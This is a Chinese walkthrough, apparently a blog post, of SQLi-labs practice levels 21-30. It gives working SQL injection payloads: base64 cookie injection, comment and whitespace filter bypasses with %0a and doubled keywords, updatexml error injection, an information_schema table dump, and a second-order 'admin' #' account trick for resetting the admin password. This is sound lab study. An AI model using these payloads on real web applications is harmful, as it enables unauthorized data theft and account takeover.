sql注入21-30

Less21-30
21题
先登录进去,页面是这样的
在这里插入图片描述
这个完全看不懂,然后只能看源代码了,
在这里插入图片描述
这个可以看出这关为’)闭合方式;
并且为cookie注入,
去看标题cookie injection - base64 encoded - single quotes and parenthesis,然后发现要使用base64编码,
base64编码在线加密解密:http://tool.oschina.net/encrypt?type=3
') union select 1,2,3#用这个进行尝试
发现可以进入,所以用第一题的联合查询方法,具体见第一题;

22题只是闭合方式不同,是双引号闭合;其他与21题相同;
23题我直接查看源代码
在这里插入图片描述
本关把–,#,空格过滤掉了,为单引号闭合。因此我们没办法注释了,我们可以直接用闭合语句过滤,然后注入。
查询本地数据库:/?id=0’ union select 1,(select database()),3’
24题
首页是这样的
在这里插入图片描述
直接创建一个账号为admin’ #,密码123456。然后登进去。
然后按正常流程将密码改为1;但发现密码还是123456,并没有修改成功;
但登录admin账号时密码却是1;所以可以猜到电脑默认为账号admin了
25题
进入页面发现
在这里插入图片描述
and和or被过滤掉了;
所以我们要绕过注入,具体方法参考大佬博客:https://blog.csdn.net/huanghelouzi/article/details/82995313
查询字段数:/?id=1’ oorrder by 3–+
查本地数据库:/?id=0’ AND union select 1,(select database()),3–+
26题
源代码
在这里插入图片描述
发现and or 空格,注释符都被过滤了;
空格绕过方法总结:
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
注释符绕过方法: 在查询语句后加一个||'1 通过or’1 来闭合语句最后一个单引号。
所有的空格绕过都用了,绕不过去,用报错注入吧。
用updatexml注入。查询本地数据库:
在这里插入图片描述
27题
源代码
在这里插入图片描述
本关把注释符,空格,union select 过滤了。
查询本地数据库:?id=0’UnioN%0aSeLeCT%0a1,2,3||‘1
本关可以用%0a过滤空格。
28题
源代码
在这里插入图片描述
union select被过滤的更多了,将union select双写为unionunion%0aSElect%0aselect就行,如果直接就双写的话它会过滤select,所以要在中间再加一个(%0a)空格。
查询表名:?id=0%27)%0Aunionunion%0aSElect%0aselect%0A1,(select%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=%27security%27),(%271’
29题与第一题相同,请参考第一关;
30题为双引号闭合;其他与上一关相同;

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值